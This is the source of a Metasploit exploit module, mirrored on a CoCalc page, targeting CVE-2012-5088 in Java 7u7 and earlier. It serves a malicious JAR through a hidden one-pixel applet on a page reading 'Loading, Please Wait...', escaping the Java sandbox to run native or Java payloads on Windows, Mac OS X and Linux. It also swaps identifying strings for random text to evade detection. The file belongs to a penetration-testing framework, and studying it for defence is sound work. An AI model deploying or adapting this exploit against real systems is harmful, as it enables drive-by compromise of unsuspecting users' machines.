Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/browser/java_jre17_method_handle.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer::HTML
10
include Msf::Exploit::EXE
11
12
# include Msf::Exploit::Remote::BrowserAutopwn
13
# autopwn_info({ :javascript => false })
14
15
def initialize(info = {})
16
super(
17
update_info(
18
info,
19
'Name' => 'Java Applet Method Handle Remote Code Execution',
20
'Description' => %q{
21
This module abuses the Method Handle class from a Java Applet to run arbitrary
22
Java code outside of the sandbox. The vulnerability affects Java version 7u7 and
23
earlier.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'Unknown', # Vulnerability discovery at security-explorations.com
28
'juan vazquez' # Metasploit module
29
],
30
'References' => [
31
[ 'CVE', '2012-5088' ],
32
[ 'OSVDB', '86352' ],
33
[ 'BID', '56057' ],
34
[ 'URL', 'http://www.security-explorations.com/materials/SE-2012-01-ORACLE-5.pdf' ],
35
[ 'URL', 'http://www.security-explorations.com/materials/se-2012-01-report.pdf' ]
36
],
37
'Platform' => %w{java linux osx win},
38
'Payload' => { 'Space' => 20480, 'DisableNops' => true },
39
'Targets' => [
40
[
41
'Generic (Java Payload)',
42
{
43
'Platform' => ['java'],
44
'Arch' => ARCH_JAVA,
45
}
46
],
47
[
48
'Windows x86 (Native Payload)',
49
{
50
'Platform' => 'win',
51
'Arch' => ARCH_X86,
52
}
53
],
54
[
55
'Mac OS X x86 (Native Payload)',
56
{
57
'Platform' => 'osx',
58
'Arch' => ARCH_X86,
59
}
60
],
61
[
62
'Linux x86 (Native Payload)',
63
{
64
'Platform' => 'linux',
65
'Arch' => ARCH_X86,
66
}
67
],
68
],
69
'DefaultTarget' => 0,
70
'DisclosureDate' => '2012-10-16',
71
'Notes' => {
72
'Reliability' => UNKNOWN_RELIABILITY,
73
'Stability' => UNKNOWN_STABILITY,
74
'SideEffects' => UNKNOWN_SIDE_EFFECTS
75
}
76
)
77
)
78
end
79
80
def setup
81
path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "Exploit.class")
82
@exploit_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
83
path = File.join(Msf::Config.data_directory, "exploits", "cve-2012-5088", "B.class")
84
@loader_class = File.open(path, "rb") { |fd| fd.read(fd.stat.size) }
85
86
@exploit_class_name = rand_text_alpha("Exploit".length)
87
@exploit_class.gsub!("Exploit", @exploit_class_name)
88
super
89
end
90
91
def on_request_uri(cli, request)
92
print_status("handling request for #{request.uri}")
93
94
case request.uri
95
when /\.jar$/i
96
jar = payload.encoded_jar
97
jar.add_file("#{@exploit_class_name}.class", @exploit_class)
98
jar.add_file("B.class", @loader_class)
99
metasploit_str = rand_text_alpha("metasploit".length)
100
payload_str = rand_text_alpha("payload".length)
101
jar.entries.each { |entry|
102
entry.name.gsub!("metasploit", metasploit_str)
103
entry.name.gsub!("Payload", payload_str)
104
entry.data = entry.data.gsub("metasploit", metasploit_str)
105
entry.data = entry.data.gsub("Payload", payload_str)
106
}
107
jar.build_manifest
108
109
send_response(cli, jar, { 'Content-Type' => "application/octet-stream" })
110
when /\/$/
111
payload = regenerate_payload(cli)
112
if not payload
113
print_error("Failed to generate the payload.")
114
send_not_found(cli)
115
return
116
end
117
send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })
118
else
119
send_redirect(cli, get_resource() + '/', '')
120
end
121
end
122
123
def generate_html
124
html = %Q|<html><head><title>Loading, Please Wait...</title></head>|
125
html += %Q|<body><center><p>Loading, Please Wait...</p></center>|
126
html += %Q|<applet archive="#{rand_text_alpha(8)}.jar" code="#{@exploit_class_name}.class" width="1" height="1">|
127
html += %Q|</applet></body></html>|
128
return html
129
end
130
end
131
132